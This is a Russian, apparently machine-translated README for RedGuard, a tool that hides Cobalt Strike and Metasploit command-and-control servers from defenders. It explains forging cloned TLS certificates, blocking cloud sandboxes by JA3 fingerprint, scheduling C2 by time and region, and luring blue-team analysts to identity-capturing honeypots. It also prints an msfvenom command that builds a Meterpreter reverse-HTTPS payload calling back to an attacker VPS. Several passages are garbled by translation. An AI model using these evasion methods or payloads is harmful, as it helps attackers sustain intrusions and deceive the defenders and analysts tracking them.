английский | 中文文档
RedGuard, производный инструмент, основанный на технологии управления фронтальным потоком командования и контроля (C2), имеет более легкую конструкцию, эффективное взаимодействие с трафиком и надежную совместимость с разработкой на языке программирования go. Поскольку кибератаки постоянно развиваются, красная и синяя команда упражнения становятся все более сложными, RedGuard предназначен для обеспечения лучшего решения по сокрытию канала C2 для красной команды, которое обеспечивает контроль потока для канала C2, блокирует «злонамеренный» аналитический трафик и лучше выполняет всю задачу атаки.
RedGuard — это инструмент управления фронтальным потоком C2, который позволяет избежать обнаружения Blue Team, AVS, EDR, поисковой системы Cyberspace.
Вы можете загрузить и использовать скомпилированную версию напрямую или загрузить пакет go удаленно для независимой компиляции и выполнения.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
Как показано на рисунке ниже, установите разрешения для исполняемого файла и инициализируйте RedGuard. При первом запуске будет создан файл конфигурации в домашнем каталоге текущего пользователя для обеспечения гибкой настройки функций. Имя файла конфигурации: .RedGuard_CobaltStrike.ini .
Содержимое файла конфигурации:
Параметры конфигурации сертификата в основном предназначены для информации о конфигурации SSL-сертификата, зашифрованного HTTPS-соединения между образцом и передней инфраструктурой C2. Прокси-сервер в основном используется для настройки параметров управления трафиком обратного прокси-сервера. Конкретное использование будет подробно объяснено ниже.
Зашифрованное соединение HTTPS с сертификатом SSL будет создано в каталоге cert-rsa/ в каталоге, в котором выполняется RedGuard. Вы можете запускать и останавливать основные функции инструмента, изменяя файл конфигурации (серийный номер сертификата генерируется в соответствии с отметкой времени, не беспокойтесь о том, что вы связаны с этой функцией) . Если вы хотите использовать свой собственный сертификат ,Просто переименуйте их в ca.crt и ca.key.
openssl x509 -in ca.crt -noout -text
Случайные отпечатки TLS JARM обновляются каждый раз при запуске RedGuard, чтобы предотвратить их использование для аутентификации инфраструктуры C2.
В случае использования собственного сертификата измените параметр HasCert в файле конфигурации на true
чтобы предотвратить обычные проблемы со связью, вызванные несовместимостью набора шифрования CipherSuites с пользовательским сертификатом, вызванным рандомизацией обфускации JARM.
# Whether to use the certificate you have applied for true/false
HasCert = false
При развертывании фронтинга домена для сокрытия трафика C2 имя ускоренного домена по умолчанию не содержит информации о сертификате HTTPS. Это явно проблематично, поэтому при настройке доменного имени нужно уделить внимание настройке сертификата. Это также основа по умолчанию для определения того, является ли выборка внешним трафиком домена.
[^Tencent Cloud]: Настройка сертификата сети доставки контента
Я думаю, что после прочтения у каждого возникнут вопросы: Как получить настроенный сертификат? Если вы используете собственное приложение для получения сертификата, оно не обеспечит ожидаемого нами эффекта анонимности. Здесь вы можете использовать клонированный сертификат для настройки. Если взять в качестве примера Tencent Cloud, то в ходе теста было обнаружено, что оно не проверяет действительность пользовательского загруженного сертификата. Для его подделки мы можем использовать тот же сертификат, что и на фактическом сайте ускоренного доменного имени. Хотя поддельный сертификат не может обмениваться данными при замене сертификата CS по умолчанию при обычных обстоятельствах, он не будет проверять действительность при развертывании на полносайтовом ускорении CDN поставщика облачных услуг и RedGuard, а интерактивный трафик C2 может передаваться нормально.
Ниже приведен существующий адрес проекта на Github.
https://github.com/virusdefender/copy-cert
Хотя сертификат на стороне внешнего трафика примера домена был разрешен, с точки зрения крупномасштабного сетевого сопоставления наш сервер C2 по-прежнему открыт для внешнего мира и все еще может быть обнаружен и связан с реальным сервером C2. . В настоящее время RedGuard можно использовать для изменения внешнего сертификата C2 по умолчанию для достижения анонимности.
[^информационная информация]: Сертификаты TLS
Вышеуказанное является следствием поддельного сертификата сервера C2. Видно, что он заслуживает доверия и не просрочен в сведениях сообщества Threatbook. Основным способом получения цифрового сертификата является его извлечение и обновление в режиме реального времени во время анализа образцов в облачной песочнице, но очевидно, что он не подвергается эффективной проверке. Значение статуса только проверяет время истечения срока действия. Проверка доверия сертификата должна основываться только на том, может ли быть достигнута нормальная связь.
Следует отметить, что интеллект Threatbook не помечает адреса SNI и HOST выборочных запросов интеллектом сертификата. На самом деле это сделано для предотвращения ложных срабатываний. Я думаю, это правильно. В качестве важной основы для помощи исследователям в анализе лучше быть неполной информацией об угрозах, чем указывать на неправильное направление, что приведет к ошибочным суждениям в последующем анализе. Если настройка сертификатов для полносайтового ускорения заключается в подделке сертификатов для коммуникационного трафика, то настройка сертификата предварительного ответа RedGuard C2 заключается в подделке поведенческих характеристик реального сервера C2, развернутого в общедоступной сети, для достижения эффектов защиты от сопоставления, которые очень необходимо.
Извлеките серийный номер сертификата: 55e6acaed1f8a430f9a938c5
и выполните HEX-кодирование, чтобы получить отпечаток сертификата TLS: 26585094245224241434632730821
ИП | Порт | Протокол | Услуга | Страна | Город | Заголовок | Время |
---|---|---|---|---|---|---|---|
103.211.хх.90 | 443 | https | Апач httpd | Китай | Сучжоу | фото 百度图-发现多彩世界 | 2023-08-28 |
223.113.хх.207 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Запрещено | 2023-08-28 |
223.112.хх.48 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Запрещено | 2023-08-28 |
223.113.хх.40 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Запрещено | 2023-08-28 |
223.113.хх.31 | 443 | https | JSP3 | Китай | 405 Не разрешено | 2023-08-28 | |
223.113.хх.206 | 443 | https | JSP3 | Китай | Сюйчжоу | 403 Запрещено | 2023-08-28 |
Сумма результата поиска: 2291
В результате картирования киберпространства был обнаружен 2291 независимый IP-адрес, и проверка подтвердила, что все они имеют сертификаты TLS, принадлежащие Baidu. Трудно определить, является ли это вредоносное сообщение, основываясь исключительно на коммуникационном трафике. Однако сертификаты TLS для средств внешнего интерфейса домена + внешнего трафика C2 были подделаны, что успешно мешало картографированию пространства и анализу угроз, вызывая неправильную ассоциацию информации, делая характеристики трафика злоумышленника более реалистичными и достигая цели подделки нормального трафика. коммуникационный трафик.
Даже если перед средством обработки трафика C2 нет скрытой обработки переадресации, лучше всего сменить сертификат на RedGuard. По умолчанию любая библиотека отпечатков пальцев, сформированная путем идентификации отпечатков пальцев общих компонентов, используемых в настоящее время при картировании киберпространства, использует для идентификации поведение характеристик конфигурации по умолчанию общих компонентов. В процессе настройки разные группы могут демонстрировать разные уникальные характеристики. Конечно, формирование отпечатков пальцев требует определенного понимания целевого компонента, чтобы извлечь характеристики цели по умолчанию и сформировать связанный отпечаток пальца. Здесь поведенческие характеристики сертификата RG используются для картирования киберпространства, что связано с большим количеством узлов RG, развернутых в общедоступной сети.
Неудивительно, что автору удалось извлечь отпечаток пальца, но пользователям RedGuard все же рекомендуется изменить информацию сертификата по умолчанию и быть профессиональным хакером :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modification
PS Вы можете использовать команду параметра для изменения файла конфигурации. Конечно, я думаю, что может быть удобнее изменить его вручную с помощью vim.
Если вы напрямую обращаетесь к порту обратного прокси, сработает правило перехвата. Здесь вы можете увидеть корневой каталог клиентского запроса через журнал вывода, но поскольку запрос не содержит запрошенные учетные данные, которые являются правильным заголовком запроса HOST, срабатывает базовое правило перехвата, и трафик перенаправляется на https:/ /360.net
Вот только демонстрация вывода, фактическое использование можно запустить в фоновом режиме через nohup ./RedGuard &
.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }
Из приведенного выше фрагмента нетрудно увидеть, что 360.net подключен к локальному порту 8080, 360.com — к локальному порту 4433, а используемый протокол HTTP также отличается. При реальном использовании необходимо обращать внимание на тип протокола прослушивателя. В соответствии с настройками здесь и установите соответствующий заголовок запроса HOST.
Как показано на рисунке выше, в случае несанкционированного доступа информация ответа, которую мы получаем, также является информацией возврата перенаправленного сайта.
В приведенном выше базовом случае перехвата используется метод перехвата по умолчанию: нелегальный трафик перехватывается путем перенаправления. Изменяя файл конфигурации, мы можем изменить метод перехвата и URL-адрес перенаправленного сайта. На самом деле, я думаю, что вместо того, чтобы называть это перенаправлением, было бы более уместно описать это как захват, клонирование, поскольку возвращаемый код состояния ответа равен 200, а ответ получен с другого веб-сайта для имитации клонированного/захваченного веб-сайта как как можно ближе.
Недействительные пакеты могут быть неправильно маршрутизированы согласно трем стратегиям:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net
Перенаправление = URL-адрес в файле конфигурации указывает на захваченный URL-адрес. RedGuard поддерживает «горячее изменение», что означает, что пока инструмент работает в фоновом режиме через nohup
, мы все равно можем изменять файл конфигурации. Контент запускается и останавливается в реальном времени.
./RedGuard -u --drop true
Обратите внимание: при изменении файла конфигурации через командную строку параметр -u
не должен отсутствовать, иначе файл конфигурации не сможет быть успешно изменен. Если вам нужно восстановить настройки файла конфигурации по умолчанию, вам нужно всего лишь ввести ./RedGuard -u
.
Другой метод перехвата — DROP, который напрямую закрывает ответ HTTP-соединения и включается установкой DROP = true . Конкретный эффект перехвата заключается в следующем:
Видно, что управление передним потоком C2 напрямую закрывает ответ на незаконные запросы без кода ответа HTTP. При обнаружении карт киберпространства метод DROP может скрыть открытие портов. Конкретный эффект можно увидеть в следующем случае. анализировать.
Я думаю, что многие пользователи будут заинтересованы в ответе на угон . Общий принцип заключается в том, что когда клиент инициирует запрос к реальному серверу C2, поскольку он не соответствует входящим правилам, сервер C2 получит указанный обычный сайт и вернет информацию о своем ответе. Поэтому со стороны запроса эффекта кажется, что он взаимодействует с IP-сервисом, но на самом деле промежуточный сервер C2 используется как прокси-сервер для взаимодействия с обычным сайтом, и найти аномалии сложно. Если он соответствует входящему запросу, запрос трафика будет перенаправлен на реальный порт прослушивания службы C2 для взаимодействия, а реальный порт прослушивания фильтруется облачным брандмауэром, разрешая только локальный доступ, и к нему нельзя получить прямой доступ извне. . Таким образом, с точки зрения открытия внешнего порта открыт только порт HTTP/S, и в каком-то смысле это действительно онлайн-порт C2.
[^Схема трафика]: процесс взаимодействия трафика сервера C2
В данных картирования киберпространства код ответа открытого порта HTTP/S IP равен 200, а не переходу 307, что более достоверно.
Сертификат HTTPS имеет тот же эффект, что и поддельный сертификат, упомянутый выше, и оба являются отпечатками реальных сертификатов.
Я считаю, что многие красные команды будут широко использовать такие методы сокрытия, как облачные функции/доменное фронтирование, в процессе борьбы с проектами. Однако в сегодняшнем наступательном и оборонительном противостоянии два вышеупомянутых метода сокрытия имеют фатальную проблему, то есть они могут напрямую подключаться к службе С2. В результате, несомненно, когда мы узнаем адрес облачной функции или интерактивный IP/HOST фронта домена, мы сможем напрямую получить доступ к службе прослушивания C2 и доказать, что это средство атаки.
Поскольку трафик может напрямую достигать C2, стоит подумать, может ли устройство безопасности выполнять CS-сканирование трафика, который не соответствует SNI и HOST, чтобы определить, является ли это вредоносным трафиком. То же самое справедливо и для облачных функций или изолированных сред. В дополнение к выборке также могут быть дополнительные процессы анализа на уровне трафика.
После ответа на перехват прямой доступ к службе HTTP может нормально взаимодействовать с веб-сайтом, но Cscan не может отсканировать образец информации, поскольку трафик не может достичь реального прослушивателя C2. Нормальное взаимодействие C2 возможно только при соблюдении характеристик инициирования трафика. Однако есть проблема. Сценарий сканирования C2 должен соответствовать входящим правилам, что подвергает определенным испытаниям способности аналитиков синей команды программировать. В настоящее время общедоступный сценарий сканирования имеет форму Nmap.
JA3 обеспечивает более узнаваемый отпечаток пальца для зашифрованной связи между клиентами и серверами. Он использует отпечатки TLS для идентификации согласования TLS между вредоносными клиентами и серверами, тем самым достигая эффекта связывания вредоносных клиентов. Этот отпечаток пальца легко создать на любой платформе с использованием шифрования MD5, и в настоящее время он широко используется в разведке угроз. Например, это можно увидеть в отчетах об анализе образцов некоторых песочниц, чтобы доказать корреляцию между различными образцами.
Если мы сможем освоить JA3(S) сервера C2 и злонамеренного клиента, даже если трафик зашифрован, а IP-адрес или доменное имя сервера C2 неизвестны, мы все равно сможем идентифицировать согласование TLS между злонамеренным клиентом и сервер посредством снятия отпечатков пальцев TLS. Я считаю, что каждый может подумать об этом, увидев это, что также является мерой борьбы с такими методами сокрытия пересылки трафика, как фронтирование домена, обратный прокси-сервер и облачные функции. Посредством идентификации образца выполнения в песочнице и согласования TLS связи C2 и создания отпечатков пальцев JA3 (S), которые можно применять к анализу угроз для достижения вспомогательного отслеживания.
Я анонсировал эту технологию в 2022 году. При тестировании микрошаговой среды «песочницы» я обнаружил, что, хотя количество исходящих IP-адресов, запрашивающих взаимодействие, было небольшим, идентифицировать «песочницу» по IP было неточно, и эту функцию можно было легко изменить. , но его отпечаток JA3 был уникальным в той же системной среде. Позже я получил отзыв о том, что в песочнице реализована рандомизация отпечатков пальцев, но недавние тесты показали, что она реализована не полностью. Я все еще надеюсь столкнуться с проблемой отпечатков пальцев на дороге.
С точки зрения облачной песочницы, путем мониторинга взаимодействия трафика между образцом и сервером C2 генерируется отпечаток JA3(S) для идентификации вредоносного клиента и, таким образом, установления связи. Думая наоборот: как средство управления трафиком перед C2, мы также можем выполнять такие операции, чтобы получить отпечаток JA3 клиентского запроса. Путем отладки различных сред песочницы эти отпечатки JA3 формируют библиотеку отпечатков пальцев, тем самым формируя базовую стратегию перехвата.
Представьте, что в процессе поэтапного взаимодействия трояна загрузчик сначала достанет шеллкод удаленного адреса. Затем, когда трафик определяет, что запрос соответствует характеристикам облачной песочницы библиотеки отпечатков пальцев JA3, он перехватывает последующие запросы. Если шеллкод невозможно получить, весь процесс загрузки не может быть завершен, и песочница, естественно, не может его полностью проанализировать. Если среда представляет собой бесэтапный троян, то анализ «песочницы» также не удастся окончательно загрузить на сервер С2. Думаю, все уже проснулись и обнаружили на С2 множество старых записей песочницы. Конечно, в идеальном состоянии мы можем идентифицировать различные среды песочницы, что в основном зависит от надежности библиотеки отпечатков пальцев.
В ходе тестирования я обнаружил, что после добавления отпечатка JA3 библиотеки языковых запросов ZoomEye GO в библиотеку отпечатков пальцев и мониторинга трафика запросов RG большинство запросов запускали базовый перехват функции библиотеки отпечатков пальцев JA3. Здесь я предполагаю, что базовый язык продукта для съемки и картографии является частью задачи сканирования, реализованной на языке GO. Благодаря ссылке логика сканирования, состоящая из разных базовых языков, наконец, выполнила всю задачу сканирования. Это также объясняет, почему сканирование некоторых геодезических и картографических продуктов активировало функцию перехвата отпечатков пальцев JA3 в библиотеке языковых запросов GO. Принцип правила распознавания такой же, как и для отпечатка облачной песочницы. Оба используют уникальность клиентской среды запросов и библиотеки запросов. В отличие от ПК, среда запросов этих продуктов в основном не будет изменена по желанию, что также позволяет нам распознавать и перехватывать отпечатки со стороны трафика , поэтому можем ли мы подумать о том, может ли устройство безопасности использовать отпечаток JA3 активного обнаружения. трафик как основа для перехвата? Конечно, когда бизнес-трафик велик, может возникнуть определенное количество ложных тревог. Здесь мы лишь предлагаем теоретически осуществимые требования к продукту.
PS Пользователи также могут загружать образцы в песочницу, чтобы получить и проверить свои отпечатки пальцев JA3 и добавить их в библиотеку отпечатков пальцев. Следует отметить, что это бессмысленно, если песочница меняет только отпечаток JA3, а не указанный выше отпечаток. Что действительно необходимо решить, так это то, что каждый раз, когда песочница выполняет динамический анализ, это разные отпечатки пальцев, и его изменения должны соответствовать требованиям не повторяться как можно чаще. Если частота повторения высока, она все равно будет использоваться в качестве отпечатка пальца.
В настоящее время поддерживается идентификация и перехват облачной песочницы Threatbook в качестве демонстрации эффекта.
Настройка следующих двух параметров в файле конфигурации реализует эффект изменения порта обратного прокси-сервера. Рекомендуется использовать скрытие порта по умолчанию, если он не конфликтует с текущим портом сервера. Если его необходимо изменить, обратите внимание на то, чтобы :
значения параметра не было пропущено.
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80
Поведение отслеживания синей команды анализируется с помощью журнала перехвата целевого запроса, который можно использовать для отслеживания событий/проблем однорангового соединения. Файл журнала создается в каталоге, где работает RedGuard, имя файла: RedGuard.log .
В этом разделе описывается, как настроить RG для получения реального IP-адреса запроса. Вам нужно только добавить следующую конфигурацию в профиль устройства C2, реальный IP-адрес цели получается через заголовок запроса X-Forwarded-For.
http-config {
set trust_x_forwarded_for " true " ;
}
В качестве примера метода конфигурации используется AllowLocation = Jinan, Beijing
. Обратите внимание, что RedGuard предоставляет два API для обратной атрибуции IP: один для пользователей в материковом Китае, а другой для пользователей за пределами материкового Китая, и может динамически назначать, какой API использовать в соответствии с введенным географическим доменным именем, если целью является Китай. Тогда используйте китайский язык для заданного региона, в противном случае используйте английские топонимы. Пользователям в материковом Китае рекомендуется использовать китайские имена, чтобы точность атрибуции и скорость ответа API, полученного с помощью обратного запроса, были лучшим выбором.
PS Пользователи материкового Китая не используйте AllowLocation = Jinan,beijing таким образом! Это не имеет особого смысла, первый символ значения параметра определяет, какой API использовать!
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
AllowLocation = *
Прежде чем принять решение об ограничении региона, вы можете вручную запросить IP-адрес с помощью следующей команды.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Здесь мы решили разрешить выход в Интернет только в регионе Шаньдун.
Легальный трафик:
Незаконная область запроса:
Что касается связи географических ограничений, то это может оказаться более практичным в нынешних наступательных и оборонительных учениях. По сути, цели провинциальных и муниципальных ограничений на наступательные и оборонительные учения находятся в специально отведенных районах, и трафик, запрошенный другими районами, естественно, можно игнорировать. Эта функция RedGuard может не только ограничивать один регион, но также ограничивать несколько регионов подключения по провинциям и городам, а также перехватывать трафик, запрошенный другими регионами.
Помимо встроенного в RedGuard черного списка IP-адресов поставщиков кибербезопасности, мы также можем осуществлять ограничения по методу белого списка. Фактически, я также предлагаю, чтобы во время проникновения в Интернет мы могли ограничить IP-адреса в сети в соответствии с белым списком, чтобы разделить несколько IP-адресов.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
Как показано на рисунке выше, мы ограничиваем только соединения 127.0.0.1, тогда трафик запросов других IP-адресов будет заблокирован.
Эта функция более интересна. Установка следующих значений параметров в файле конфигурации означает, что диспетчерский пункт может подключаться только с 8:00 до 21:00. Конкретный сценарий применения здесь заключается в том, что в течение указанного времени атаки мы разрешаем связь с C2, а в остальное время храним молчание. Это также позволяет красным командам хорошо выспаться, не беспокоясь о том, что какой-нибудь синей команде, дежурящей ночью, будет скучно анализировать ваш троян, а затем проснуться и увидеть что-то неописуемое, ха-ха-ха.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21:00
RedGuard использует профиль Malleable C2. Он анализирует предоставленный расширяемый раздел файла конфигурации, чтобы понять контракт и передавать только те входящие запросы, которые его удовлетворяют, вводя при этом в заблуждение другие запросы. Такие части, как http-stager
, http-get
и http-post
и соответствующие им URI, заголовки, User-Agent и т. д., используются для того, чтобы отличить законные запросы маяка от нерелевантного интернет-шума или пакета Out-of-bounds IR/AV/EDR.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
Рекомендуется использовать профиль, написанный 风起:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
В Cobalt Strike 4.7+ Teamserver автоматически удаляет заголовок Content-Encoding без какого-либо уведомления, что потенциально может привести к уязвимому нарушению http-(get|post).server. Более того, если в ответном сообщении CS-сервера отсутствует Content-type, но после пересылки RedGuard, Content-Type добавляется в заголовок ответного сообщения, что приводит к кэшированию страницы cf и возникновению помех.
После RedGuard 23.08.21 добавлена функция настройки заголовка ответного пакета. Пользователи могут настраивать и удалять информацию заголовка в ответном пакете, изменяя файл конфигурации, чтобы решить проблему неправильного анализа.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13 обновил функцию распознавания отпечатков пальцев трояна, которая основана на настройке поля HTTP-заголовка гибкого профиля в качестве « солевого значения образца » отпечатка пальца для уникальной идентификации одного и того же прослушивателя C2 / хоста заголовка. Кроме того, для определения активности пользовательского образца можно использовать отпечаток образца трояна, созданный путем объединения других соответствующих полей запроса. В соответствии с требованиями задачи злоумышленника функция распознавания отпечатков пальцев образца трояна может выполнять « автономную операцию » с образцами, которые вы хотите отключить, чтобы лучше уклоняться от анализа вредоносного трафика образца связи и анализа сбора полезной нагрузки атаки поэтапного образца PAYLOAD, а также предоставлять больше персонализированные меры скрытности для злоумышленника.
Для разных прослушивателей C2 мы можем присваивать разные псевдонимы конфигурациям гибкого профиля, настраивать имена полей и значения связанных заголовков в качестве значения соли образца и использовать его как одно из различий между различными образцами. Следующий код предназначен для иллюстрации, и в реальных сценариях атаки и защиты мы можем использовать более реалистичные поля пакета HTTP-запроса в качестве основы для оценки.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}
HTTP-трафик
Как показано на рисунке, мы используем приведенный выше пример значения соли и поля хоста в качестве основы для генерации отпечатков пальцев. Здесь мы знаем:
В результате объединения приведенных выше значений образец отпечатка пальца получается следующим образом:
22e6db08c5ef1889d64103a290ac145c
Теперь, когда мы знаем приведенный выше образец отпечатка пальца, мы можем установить настраиваемое поле заголовка и образец отпечатка пальца в файле конфигурации RedGuard для перехвата вредоносного трафика. Стоит отметить, что мы можем расширить несколько образцов отпечатков пальцев, разделенных запятыми, и имя поля должно соответствовать имени поля заголовка, настроенному в гибком профиле.
Поскольку файл конфигурации RedGuard представляет собой «горячую» конфигурацию, нам не нужно перезапускать RedGuard, чтобы перехватить образцы, которые мы хотим отключить. Если мы хотим, чтобы образец был повторно активирован, нам просто нужно удалить соответствующий отпечаток образца из файла конфигурации RedGuard.
Демонстрационный эффект:
Если с описанным выше методом возникает проблема, фактический онлайн-сервер C2 не может быть напрямую перехвачен брандмауэром, поскольку фактический запрос балансировки нагрузки в обратном прокси-сервере выполняется по IP-адресу производителя облачного сервера.
В единоборстве мы можем установить правила перехвата на брандмауэре облачного сервера.
Затем установите адрес, на который указывает прокси, https://127.0.0.1:4433.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }
А поскольку наша базовая проверка основана на заголовке запроса HTTP HOST, то, что мы видим в HTTP-трафике, также совпадает с методом фронтального домена, но стоимость ниже, и требуется только один облачный сервер.
В настройках прослушивателя HTTPS Port (C2)
установлен на порт обратного прокси-сервера RedGuard, а HTTPS Port (Bind)
— это фактический порт подключения локального компьютера.
Генерирует трояна
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exe
Конечно, в качестве сценария фронтинга домена вы также можете настроить LHOST на использование любого доменного имени CDN производителя и обратить внимание на настройку HttpHostHeader в соответствии с RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true
Важно отметить, что для параметра OverrideRequestHost
должно быть установлено значение true
. Это связано с особенностью того, как Metasploit по умолчанию обрабатывает входящие запросы HTTP/S при создании конфигурации для размещения полезных данных. По умолчанию Metasploit использует значение заголовка Host
входящего запроса (если он присутствует) для конфигурации второго этапа вместо параметра LHOST
. Таким образом, этап сборки настроен на отправку запросов непосредственно на ваше скрытое доменное имя, поскольку CloudFront передает ваш внутренний домен в заголовке Host
пересылаемых запросов. Это явно не то, о чем мы просим. Используя значение конфигурации OverrideRequestHost
, мы можем заставить Metasploit игнорировать входящий заголовок Host
и вместо этого использовать значение конфигурации LHOST
, указывающее на исходный домен CloudFront.
Прослушиватель настроен на фактический линейный порт, который соответствует адресу, на который RedGuard фактически перенаправляет.
RedGuard получил запрос:
Как показано на рисунке ниже, когда для нашего правила перехвата установлено значение DROP, зонд системы пространственного отображения несколько раз проверит каталог / нашего обратного прокси-порта. Теоретически пакет запроса, отправленный путем сопоставления, подделывается под обычный трафик, как показано. Но после нескольких попыток, поскольку подпись пакета запроса не соответствует требованиям выпуска RedGuard, на все они отвечает Close HTTP. Конечный результат, отображаемый на платформе геодезии и картографии, заключается в том, что порт обратного прокси-сервера не открывается.
Трафик, показанный на рисунке ниже, означает, что когда для правила перехвата установлено значение «Перенаправление», мы обнаружим, что когда зонд сопоставления получит ответ, он продолжит сканирование нашего каталога. Пользовательский агент является случайным, что, похоже, соответствует обычным запросам трафика, но оба успешно заблокированы.
Картографическая платформа — Эффект режима перехвата ответа на перехват:
Геодезическая и картографическая платформа – эффект перехвата перенаправления:
RedGuard поддерживает фронтирование домена. На мой взгляд, есть две формы представления. Один из них — использовать традиционный метод фронтирования домена, которого можно достичь, установив порт нашего обратного прокси-сервера в адресе возврата к источнику ускорения всего сайта. Изначально во фронт домена добавлена функция контроля трафика, и его можно перенаправить на указанный URL в соответствии с заданными нами настройками, чтобы он выглядел более реальным. Следует отметить, что настройка RedGuard заголовка хоста HTTPS должна соответствовать доменному имени ускорения по всему сайту.
В одиночном бою я предполагаю, что приведенный выше метод может быть использован, а в командных задачах он также может быть достигнут с помощью само построенного «домена».
В самостоятельном доменном домене сохраняйте согласованность нескольких реверсийных прокси-портов, и заголовок хоста последовательно указывает на настоящий порт прослушивания сервера C2 бэкэнд. Таким образом, наш настоящий сервер C2 может быть хорошо скрыт, а сервер обратного прокси может открыть порт прокси только путем настройки брандмауэра.
Это может быть достигнуто с помощью нескольких серверов узлов и настроить несколько IP наших узлов в CS Hulderer Https Online IP.
Принцип вредоносного захвата медовой пленки в основном зависит от ответа на угон или функции перенаправления RG Trafficud Guides, который направляет аналитиков, которые оценивают объекты C2 по адресу песочнице Honeypot. В штате ответа на угон RG направит запрос на трафик, который не соответствует входящим правилам активам Honeypot. При столкновении с некоторыми более мощными медовымипотами (например, те, которые захватывают номера мобильных телефонов оператора), клиент инициирует запрос в соответствии с ответом целевого сайта и будет захвачен JSONP для получения соответствующей информации.
Представьте, что когда аналитики непосредственно получают доступ к онлайн -порту C2, они будут направлены на активу Honeypot, что, несомненно, вызовет нарушение для аналитиков. Аналитики злонамеренно направлены на запрос актива Honeypot, а конец мониторинга Honeypot фиксирует соответствующую информацию аналитиков Blue Team и прослеживает ошибку. Если цель анализа неверна с самого начала, как вы можете получить хороший результат? Это, несомненно, вызовет серьезные внутренние трения для команды защиты.
Вот набор отпечатков пальцев Zoomeye, связанных с активами Honeypot:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
Способ достижения этого эффекта очень прост, вам нужно только изменить соответствующие значения ключей в файле конфигурации RG.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.com
PS Я верю, что все знают, как это настроить без объяснения :)
Этот метод является своего рода хитрым трюком, который больше отражен в этой идее. Если он дополнительно используется, функция захвата HoneyPot может быть развернута на объекте управления трафиком C2, а затем может быть направлен интерактивный трафик. Эффект заключается в том, что данные кэша браузера клиента могут быть получены так же, как традиционный Honeypot. Тем не менее, я лично чувствую, что в публичной версии может не иметь смысла применять его к текущей атаке и противостоянию. Для злоумышленника бессмысленно захватить социальную информацию аналитика синей команды, а затем отследить ее. Конечно, сделав шаг назад, это может сделать анализ образцов C2 более опасным. Когда злоумышленник черной и серой промышленности может получить виртуальную идентичность аналитика, если виртуальная и реальная идентификация может быть преобразована, это все еще относительно опасно. Поэтому я думаю, что будущие исследования и анализ должны быть более осторожными и бдительными.
В сценарии атаки и защиты большинство сетей единиц по-прежнему являются пограничной обороной. Здесь мы рассмотрим сценарий, в котором внешние серверы в области DMZ часто настраиваются с соответствующими политиками доступа в обычной бизнес -среде. В настоящее время, когда внешние серверы на краю могут получить доступ к сети, но не могут напрямую доступ к интрасети -хосту, ПК или связанные с ними серверы во интрасети не получают непосредственного доступа к общедоступной сети, но могут получить доступ к бизнес -серверам в области DMZ, Затем я могу использовать хозяин краевого узла в качестве узла RG для передачи интранет онлайн -трафика на наши объекты C2. Звучит ли это очень похоже на традиционную передачу прокси онлайн? Тем не менее, это всего лишь форма отображения реализации навыков. Давайте продолжим смотреть больше советов.
Когда мы снимаем град-хост во время процесса управления, предполагая, что мы взяли на себя разрешения на оболочку, мы будем развернуть RG на этом сервере в качестве нашего переднего узла (в реальных сценариях файлы конфигурации в программе жестко кодируются, в программе, и даже троянская лошадь и RG объединены в одну и ту же программу) .
Файл конфигурации следующим образом:
